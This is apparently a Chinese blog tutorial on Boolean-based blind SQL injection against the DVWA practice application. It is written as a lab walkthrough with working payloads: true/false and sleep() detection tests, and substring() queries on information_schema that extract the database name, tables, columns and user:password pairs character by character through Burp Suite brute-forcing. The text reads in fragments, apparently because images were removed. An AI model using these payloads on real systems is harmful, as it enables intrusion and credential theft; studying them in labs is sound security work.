原理 有一种界面,像这种不会把数据体现在表面的界面 这种一点都看不出来有没有可控变量的页面,看不出来能不能用正常的字符型SQL注入或数字型SQL注入破解,所以,这时候要换个思路 布尔型盲注 盲注判断 字符型判断 看几次字符型的返回结果一不一样 构建语句 1' and 1=1--+ 1' and 1=2--+ 两次结果不一样,说明存在盲注点 延迟性判断 利用sleep函数将数据库睡眠5秒 返回包的时间为5秒 将睡眠时间改为6秒 返回时间变为6秒 由此可知,延迟性判断为真 此处存在布尔型盲注的注入点 布尔型注入攻击 原理 最常用的布尔型注入点判断方法 两次结果不一样,存在注入点 注入获取敏感信息 三个参数分别为字符串,开始截取位置,截取长度 这里的字符串可以变为查询语句 借此,提取敏感信息 因为这种页面不会返回具体数据,只会返回对错两种,所以我们要对返回的结果进行猜测 将查询到的数据 如if(substring(database(),1,1)='d',1,0) 这里database()的查询结果为dvwa 猜测数据库第一个字符为d正确 猜测数据库第二个字符为v正确 因为提取起始位置为第一个字符,提取长度为1个字符,所以最终提取到的结果为字符d 因为页面不会返回具体数据,所以我们需要以对错的形式,看页面报不报错,来判断字符的正确性,正确返回1,错误返回0 以此判断结果的值为多少 获取全部单个字符后,将全部单个字符拼接起来,就可以得到真实的敏感信息了 黑盒测试下的布尔盲注流程 长度判断 length(database())查询字段长度 length(database())=4,1,0 然后利用判断语句,判断长度值 逐个字符判断 正确页面 穷举操作 BP选中这个模式 将包利用bp抓取下来,进行穷举 提取到结果,拼接后,可获得数据库名称 表名获取 判断第一个表名的第一个字符为g substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0) 获取第一个表名 获取数据库第二个表名 判断第一个字段名为u if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0)获取字段名 判断成功 得到结果 获取数据 输入注入语句,判断users表中第一个数据首字母是不是a ?id=1' and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0) 或者 ?id=1' and if(substring((select CONCAT(user,PASSWORD) from users limit 1),1,1)='a',1,0) 这当中的0x3a是为了让返回值更好看,加不加无所谓 判断成立 bp穷举 穷举成功
标签:返回,字符,判断,database,盲注,布尔 From: https://www.cnblogs.com/baimuyangren/p/17825611.html